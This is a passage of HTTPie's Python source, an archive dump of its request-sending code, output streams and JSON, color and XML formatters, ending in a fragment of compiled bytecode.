send_kwargs_merged = requests_session.merge_environment_settings( url=prepared_request.url, **send_kwargs_mergeable_from_env, ) with max_headers(args.max_headers): response = requests_session.send( request=prepared_request, **send_kwargs_merged, **send_kwargs, ) expired_cookies += get_expired_cookies( response.headers.get('Set-Cookie', '') ) response_count += 1 if response.next: if args.max_redirects and response_count == args.max_redirects: raise requests.TooManyRedirects if args.follow: prepared_request = response.next if args.all: yield response continue yield response break if httpie_session: if httpie_session.is_new() or not args.session_read_only: httpie_session.cookies = requests_session.cookies httpie_session.remove_cookies( # TODO: take path & domain into account? cookie['name'] for cookie in expired_cookies ) httpie_session.save() # noinspection PyProtectedMember @contextmanager def max_headers(limit): # <https://github.com/httpie/httpie/issues/802> # noinspection PyUnresolvedReferences orig = http.client._MAXHEADERS http.client._MAXHEADERS = limit or float('Inf') try: yield finally: http.client._MAXHEADERS = orig def build_requests_session( verify: bool, ssl_version: str = None, ciphers: str = None, ) -> requests.Session: requests_session = requests.Session() # Install our adapter. https_adapter = HTTPieHTTPSAdapter( ciphers=ciphers, verify=verify, ssl_version=( AVAILABLE_SSL_VERSION_ARG_MAPPING[ssl_version] if ssl_version else None ), ) requests_session.mount('https://', https_adapter) # Install adapters from plugins. for plugin_cls in plugin_manager.get_transport_plugins(): transport_plugin = plugin_cls() requests_session.mount( prefix=transport_plugin.prefix, adapter=transport_plugin.get_adapter(), ) return requests_session def dump_request(kwargs: dict): sys.stderr.write( f'\n>>> requests.request(**{repr_dict(kwargs)})\n\n') def finalize_headers(headers: RequestHeadersDict) -> RequestHeadersDict: final_headers = RequestHeadersDict() for name, value in headers.items(): if value is not None: # “leading or trailing LWS MAY be removed without # changing the semantics of the field value” # <https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html> # Also, requests raises `InvalidHeader` for leading spaces. value = value.strip() if isinstance(value, str): # See <https://github.com/httpie/httpie/issues/212> value = value.encode() final_headers[name] = value return final_headers def make_default_headers(args: argparse.Namespace) -> RequestHeadersDict: default_headers = RequestHeadersDict({ 'User-Agent': DEFAULT_UA }) auto_json = args.data and not args.form if args.json or auto_json: default_headers['Accept'] = JSON_ACCEPT if args.json or (auto_json and args.data): default_headers['Content-Type'] = JSON_CONTENT_TYPE elif args.form and not args.files: # If sending files, `requests` will set # the `Content-Type` for us. default_headers['Content-Type'] = FORM_CONTENT_TYPE return default_headers def make_send_kwargs(args: argparse.Namespace) -> dict: return { 'timeout': args.timeout or None, 'allow_redirects': False, } def make_send_kwargs_mergeable_from_env(args: argparse.Namespace) -> dict: cert = None if args.cert: cert = args.cert if args.cert_key: cert = cert, args.cert_key return { 'proxies': {p.key: p.value for p in args.proxy}, 'stream': True, 'verify': { 'yes': True, 'true': True, 'no': False, 'false': False, }.get(args.verify.lower(), args.verify), 'cert': cert, } def make_request_kwargs( args: argparse.Namespace, base_headers: RequestHeadersDict = None, request_body_read_callback=lambda chunk: chunk ) -> dict: """ Translate our `args` into `requests.Request` keyword arguments. """ files = args.files # Serialize JSON data, if needed. data = args.data auto_json = data and not args.form if (args.json or auto_json) and isinstance(data, dict): if data: data = json.dumps(data) else: # We need to set data to an empty string to prevent requests # from assigning an empty list to `response.request.data`. data = '' # Finalize headers. headers = make_default_headers(args) if base_headers: headers.update(base_headers) headers.update(args.headers) if args.offline and args.chunked and 'Transfer-Encoding' not in headers: # When online, we let requests set the header instead to be able more # easily verify chunking is taking place. headers['Transfer-Encoding'] = 'chunked' headers = finalize_headers(headers) if (args.form and files) or args.multipart: data, headers['Content-Type'] = get_multipart_data_and_content_type( data=args.multipart_data, boundary=args.boundary, content_type=args.headers.get('Content-Type'), ) return { 'method': args.method.lower(), 'url': args.url, 'headers': headers, 'data': prepare_request_body( body=data, body_read_callback=request_body_read_callback, chunked=args.chunked, offline=args.offline, content_length_header_value=headers.get('Content-Length'), ), 'auth': args.auth, 'params': args.params.items(), } def ensure_path_as_is(orig_url: str, prepped_url: str) -> str: """ Handle `--path-as-is` by replacing the path component of the prepared URL with the path component from the original URL. Other parts stay untouched because other (welcome) processing on the URL might have taken place. <https://github.com/httpie/httpie/issues/895> <https://ec.haxx.se/http/http-basics#path-as-is> <https://curl.haxx.se/libcurl/c/CURLOPT_PATH_AS_IS.html> >>> ensure_path_as_is('http://foo/../', 'http://foo/?foo=bar') 'http://foo/../?foo=bar' """ parsed_orig, parsed_prepped = urlparse(orig_url), urlparse(prepped_url) final_dict = { # noinspection PyProtectedMember **parsed_prepped._asdict(), 'path': parsed_orig.path, } return urlunparse(tuple(final_dict.values())) output/utils.py 0000644 00000002052 15246412010 0007610 0 ustar 00 import json import re from typing import Tuple from ..utils import load_json_preserve_order_and_dupe_keys from .lexers.json import PREFIX_REGEX def load_prefixed_json(data: str) -> Tuple[str, json.JSONDecoder]: """Simple JSON loading from `data`. """ # First, the full data. try: return '', load_json_preserve_order_and_dupe_keys(data) except ValueError: pass # Then, try to find the start of the actual body. data_prefix, body = parse_prefixed_json(data) try: return data_prefix, load_json_preserve_order_and_dupe_keys(body) except ValueError: raise ValueError('Invalid JSON') def parse_prefixed_json(data: str) -> Tuple[str, str]: """Find the potential JSON body from `data`. Sometimes the JSON body is prefixed with a XSSI magic string, specific to the server. Return a tuple (data prefix, actual JSON body). """ matches = re.findall(PREFIX_REGEX, data) data_prefix = matches[0] if matches else '' body = data[len(data_prefix):] return data_prefix, body output/streams.py 0000644 00000015022 15246412010 0010127 0 ustar 00 from abc import ABCMeta, abstractmethod from itertools import chain from typing import Callable, Iterable, Union from .processing import Conversion, Formatting from ..context import Environment from ..encoding import smart_decode, smart_encode, UTF8 from ..models import HTTPMessage BINARY_SUPPRESSED_NOTICE = ( b'\n' b'+-----------------------------------------+\n' b'| NOTE: binary data not shown in terminal |\n' b'+-----------------------------------------+' ) class DataSuppressedError(Exception): message = None class BinarySuppressedError(DataSuppressedError): """An error indicating that the body is binary and won't be written, e.g., for terminal output).""" message = BINARY_SUPPRESSED_NOTICE class BaseStream(metaclass=ABCMeta): """Base HTTP message output stream class.""" def __init__( self, msg: HTTPMessage, with_headers=True, with_body=True, on_body_chunk_downloaded: Callable[[bytes], None] = None ): """ :param msg: a :class:`models.HTTPMessage` subclass :param with_headers: if `True`, headers will be included :param with_body: if `True`, body will be included """ assert with_headers or with_body self.msg = msg self.with_headers = with_headers self.with_body = with_body self.on_body_chunk_downloaded = on_body_chunk_downloaded def get_headers(self) -> bytes: """Return the headers' bytes.""" return self.msg.headers.encode() @abstractmethod def iter_body(self) -> Iterable[bytes]: """Return an iterator over the message body.""" def __iter__(self) -> Iterable[bytes]: """Return an iterator over `self.msg`.""" if self.with_headers: yield self.get_headers() yield b'\r\n\r\n' if self.with_body: try: for chunk in self.iter_body(): yield chunk if self.on_body_chunk_downloaded: self.on_body_chunk_downloaded(chunk) except DataSuppressedError as e: if self.with_headers: yield b'\n' yield e.message class RawStream(BaseStream): """The message is streamed in chunks with no processing.""" CHUNK_SIZE = 1024 * 100 CHUNK_SIZE_BY_LINE = 1 def __init__(self, chunk_size=CHUNK_SIZE, **kwargs): super().__init__(**kwargs) self.chunk_size = chunk_size def iter_body(self) -> Iterable[bytes]: return self.msg.iter_body(self.chunk_size) class EncodedStream(BaseStream): """Encoded HTTP message stream. The message bytes are converted to an encoding suitable for `self.env.stdout`. Unicode errors are replaced and binary data is suppressed. The body is always streamed by line. """ CHUNK_SIZE = 1 def __init__( self, env=Environment(), mime_overwrite: str = None, encoding_overwrite: str = None, **kwargs ): super().__init__(**kwargs) self.mime = mime_overwrite or self.msg.content_type self.encoding = encoding_overwrite or self.msg.encoding if env.stdout_isatty: # Use the encoding supported by the terminal. output_encoding = env.stdout_encoding else: # Preserve the message encoding. output_encoding = self.msg.encoding # Default to UTF-8 when unsure. self.output_encoding = output_encoding or UTF8 def iter_body(self) -> Iterable[bytes]: for line, lf in self.msg.iter_lines(self.CHUNK_SIZE): if b'\0' in line: raise BinarySuppressedError() line = smart_decode(line, self.encoding) yield smart_encode(line, self.output_encoding) + lf class PrettyStream(EncodedStream): """In addition to :class:`EncodedStream` behaviour, this stream applies content processing. Useful for long-lived HTTP responses that stream by lines such as the Twitter streaming API. """ CHUNK_SIZE = 1 def __init__( self, conversion: Conversion, formatting: Formatting, **kwargs, ): super().__init__(**kwargs) self.formatting = formatting self.conversion = conversion def get_headers(self) -> bytes: return self.formatting.format_headers( self.msg.headers).encode(self.output_encoding) def iter_body(self) -> Iterable[bytes]: first_chunk = True iter_lines = self.msg.iter_lines(self.CHUNK_SIZE) for line, lf in iter_lines: if b'\0' in line: if first_chunk: converter = self.conversion.get_converter(self.mime) if converter: body = bytearray() # noinspection PyAssignmentToLoopOrWithParameter for line, lf in chain([(line, lf)], iter_lines): body.extend(line) body.extend(lf) self.mime, body = converter.convert(body) assert isinstance(body, str) yield self.process_body(body) return raise BinarySuppressedError() yield self.process_body(line) + lf first_chunk = False def process_body(self, chunk: Union[str, bytes]) -> bytes: if not isinstance(chunk, str): # Text when a converter has been used, # otherwise it will always be bytes. chunk = smart_decode(chunk, self.encoding) chunk = self.formatting.format_body(content=chunk, mime=self.mime) return smart_encode(chunk, self.output_encoding) class BufferedPrettyStream(PrettyStream): """The same as :class:`PrettyStream` except that the body is fully fetched before it's processed. Suitable regular HTTP responses. """ CHUNK_SIZE = 1024 * 10 def iter_body(self) -> Iterable[bytes]: # Read the whole body before prettifying it, # but bail out immediately if the body is binary. converter = None body = bytearray() for chunk in self.msg.iter_body(self.CHUNK_SIZE): if not converter and b'\0' in chunk: converter = self.conversion.get_converter(self.mime) if not converter: raise BinarySuppressedError() body.extend(chunk) if converter: self.mime, body = converter.convert(body) yield self.process_body(body) output/formatters/json.py 0000644 00000002143 15246412010 0011610 0 ustar 00 import json from ...plugins import FormatterPlugin class JSONFormatter(FormatterPlugin): def __init__(self, **kwargs): super().__init__(**kwargs) self.enabled = self.format_options['json']['format'] def format_body(self, body: str, mime: str) -> str: maybe_json = [ 'json', 'javascript', 'text', ] if (self.kwargs['explicit_json'] or any(token in mime for token in maybe_json)): from ..utils import load_prefixed_json try: data_prefix, json_obj = load_prefixed_json(body) except ValueError: pass # Invalid JSON, ignore. else: # Indent, sort keys by name, and avoid # unicode escapes to improve readability. body = data_prefix + json.dumps( obj=json_obj, sort_keys=self.format_options['json']['sort_keys'], ensure_ascii=False, indent=self.format_options['json']['indent'] ) return body output/formatters/colors.py 0000644 00000016135 15246412010 0012146 0 ustar 00 import json from typing import Optional, Type import pygments.lexer import pygments.lexers import pygments.style import pygments.styles import pygments.token from pygments.formatters.terminal import TerminalFormatter from pygments.formatters.terminal256 import Terminal256Formatter from pygments.lexer import Lexer from pygments.lexers.data import JsonLexer from pygments.lexers.special import TextLexer from pygments.lexers.text import HttpLexer as PygmentsHttpLexer from pygments.util import ClassNotFound from ..lexers.json import EnhancedJsonLexer from ...compat import is_windows from ...context import Environment from ...plugins import FormatterPlugin AUTO_STYLE = 'auto' # Follows terminal ANSI color styles DEFAULT_STYLE = AUTO_STYLE SOLARIZED_STYLE = 'solarized' # Bundled here if is_windows: # Colors on Windows via colorama don't look that # great and fruity seems to give the best result there. DEFAULT_STYLE = 'fruity' AVAILABLE_STYLES = set(pygments.styles.get_all_styles()) AVAILABLE_STYLES.add(SOLARIZED_STYLE) AVAILABLE_STYLES.add(AUTO_STYLE) class ColorFormatter(FormatterPlugin): """ Colorize using Pygments This processor that applies syntax highlighting to the headers, and also to the body if its content type is recognized. """ group_name = 'colors' def __init__( self, env: Environment, explicit_json=False, color_scheme=DEFAULT_STYLE, **kwargs ): super().__init__(**kwargs) if not env.colors: self.enabled = False return use_auto_style = color_scheme == AUTO_STYLE has_256_colors = env.colors == 256 if use_auto_style or not has_256_colors: http_lexer = PygmentsHttpLexer() formatter = TerminalFormatter() else: from ..lexers.http import SimplifiedHTTPLexer http_lexer = SimplifiedHTTPLexer() formatter = Terminal256Formatter( style=self.get_style_class(color_scheme) ) self.explicit_json = explicit_json # --json self.formatter = formatter self.http_lexer = http_lexer def format_headers(self, headers: str) -> str: return pygments.highlight( code=headers, lexer=self.http_lexer, formatter=self.formatter, ).strip() def format_body(self, body: str, mime: str) -> str: lexer = self.get_lexer_for_body(mime, body) if lexer: body = pygments.highlight( code=body, lexer=lexer, formatter=self.formatter, ) return body def get_lexer_for_body( self, mime: str, body: str ) -> Optional[Type[Lexer]]: return get_lexer( mime=mime, explicit_json=self.explicit_json, body=body, ) @staticmethod def get_style_class(color_scheme: str) -> Type[pygments.style.Style]: try: return pygments.styles.get_style_by_name(color_scheme) except ClassNotFound: return Solarized256Style def get_lexer( mime: str, explicit_json=False, body='' ) -> Optional[Type[Lexer]]: # Build candidate mime type and lexer names. mime_types, lexer_names = [mime], [] type_, subtype = mime.split('/', 1) if '+' not in subtype: lexer_names.append(subtype) else: subtype_name, subtype_suffix = subtype.split('+', 1) lexer_names.extend([subtype_name, subtype_suffix]) mime_types.extend([ f'{type_}/{subtype_name}', f'{type_}/{subtype_suffix}', ]) # As a last resort, if no lexer feels responsible, and # the subtype contains 'json', take the JSON lexer if 'json' in subtype: lexer_names.append('json') # Try to resolve the right lexer. lexer = None for mime_type in mime_types: try: lexer = pygments.lexers.get_lexer_for_mimetype(mime_type) break except ClassNotFound: pass else: for name in lexer_names: try: lexer = pygments.lexers.get_lexer_by_name(name) except ClassNotFound: pass if explicit_json and body and (not lexer or isinstance(lexer, TextLexer)): # JSON response with an incorrect Content-Type? try: json.loads(body) # FIXME: the body also gets parsed in json.py except ValueError: pass # Nope else: lexer = pygments.lexers.get_lexer_by_name('json') # Use our own JSON lexer: it supports JSON bodies preceded by non-JSON data # as well as legit JSON bodies. if isinstance(lexer, JsonLexer): lexer = EnhancedJsonLexer() return lexer class Solarized256Style(pygments.style.Style): """ solarized256 ------------ A Pygments style inspired by Solarized's 256 color mode. :copyright: (c) 2011 by Hank Gay, (c) 2012 by John Mastro. :license: BSD, see LICENSE for more details. """ BASE03 = "#1c1c1c" BASE02 = "#262626" BASE01 = "#4e4e4e" BASE00 = "#585858" BASE0 = "#808080" BASE1 = "#8a8a8a" BASE2 = "#d7d7af" BASE3 = "#ffffd7" YELLOW = "#af8700" ORANGE = "#d75f00" RED = "#af0000" MAGENTA = "#af005f" VIOLET = "#5f5faf" BLUE = "#0087ff" CYAN = "#00afaf" GREEN = "#5f8700" background_color = BASE03 styles = { pygments.token.Keyword: GREEN, pygments.token.Keyword.Constant: ORANGE, pygments.token.Keyword.Declaration: BLUE, pygments.token.Keyword.Namespace: ORANGE, pygments.token.Keyword.Reserved: BLUE, pygments.token.Keyword.Type: RED, pygments.token.Name.Attribute: BASE1, pygments.token.Name.Builtin: BLUE, pygments.token.Name.Builtin.Pseudo: BLUE, pygments.token.Name.Class: BLUE, pygments.token.Name.Constant: ORANGE, pygments.token.Name.Decorator: BLUE, pygments.token.Name.Entity: ORANGE, pygments.token.Name.Exception: YELLOW, pygments.token.Name.Function: BLUE, pygments.token.Name.Tag: BLUE, pygments.token.Name.Variable: BLUE, pygments.token.String: CYAN, pygments.token.String.Backtick: BASE01, pygments.token.String.Char: CYAN, pygments.token.String.Doc: CYAN, pygments.token.String.Escape: RED, pygments.token.String.Heredoc: CYAN, pygments.token.String.Regex: RED, pygments.token.Number: CYAN, pygments.token.Operator: BASE1, pygments.token.Operator.Word: GREEN, pygments.token.Comment: BASE01, pygments.token.Comment.Preproc: GREEN, pygments.token.Comment.Special: GREEN, pygments.token.Generic.Deleted: CYAN, pygments.token.Generic.Emph: 'italic', pygments.token.Generic.Error: RED, pygments.token.Generic.Heading: ORANGE, pygments.token.Generic.Inserted: GREEN, pygments.token.Generic.Strong: 'bold', pygments.token.Generic.Subheading: ORANGE, pygments.token.Token: BASE1, pygments.token.Token.Other: ORANGE, } output/formatters/__init__.py 0000644 00000000000 15246412010 0012364 0 ustar 00 output/formatters/xml.py 0000644 00000003626 15246412010 0011446 0 ustar 00 import sys from typing import TYPE_CHECKING, Optional from ...encoding import UTF8 from ...plugins import FormatterPlugin if TYPE_CHECKING: from xml.dom.minidom import Document def parse_xml(data: str) -> 'Document': """Parse given XML `data` string into an appropriate :class:`~xml.dom.minidom.Document` object.""" from defusedxml.minidom import parseString return parseString(data) def pretty_xml(document: 'Document', encoding: Optional[str] = UTF8, indent: int = 2, standalone: Optional[bool] = None) -> str: """Render the given :class:`~xml.dom.minidom.Document` `document` into a prettified string.""" kwargs = { 'encoding': encoding or UTF8, 'indent': ' ' * indent, } if standalone is not None and sys.version_info >= (3, 9): kwargs['standalone'] = standalone body = document.toprettyxml(**kwargs).decode(kwargs['encoding']) # Remove blank lines automatically added by `toprettyxml()`. return '\n'.join(line for line in body.splitlines() if line.strip()) class XMLFormatter(FormatterPlugin): def __init__(self, **kwargs): super().__init__(**kwargs) self.enabled = self.format_options['xml']['format'] def format_body(self, body: str, mime: str): if 'xml' not in mime: return body from xml.parsers.expat import ExpatError from defusedxml.common import DefusedXmlException try: parsed_body = parse_xml(body) except ExpatError: pass # Invalid XML, ignore. except DefusedXmlException: pass # Unsafe XML, ignore. else: body = pretty_xml(parsed_body, encoding=parsed_body.encoding, indent=self.format_options['xml']['indent'], standalone=parsed_body.standalone) return body output/formatters/__pycache__/xml.cpython-36.opt-1.pyc 0000644 00000004143 15246412010 0016664 0 ustar 00 3 �ga� � @ s� d dl Z d dlmZmZ ddlmZ ddlmZ er@d dlm Z e dd�d d �Zeddfdee eee e d�d d�ZG dd� de�ZdS )� N)� TYPE_CHECKING�Optional� )�UTF8)�FormatterPlugin)�Documentr )�data�returnc C s ddl m} || �S )z\Parse given XML `data` string into an appropriate :class:`~xml.dom.minidom.Document` object.r )�parseString)Zdefusedxml.minidomr )r r � r �/usr/lib/python3.6/xml.py� parse_xml s r � )�document�encoding�indent� standaloner c C sZ |pt d| d�}|dk r,tjdkr,||d<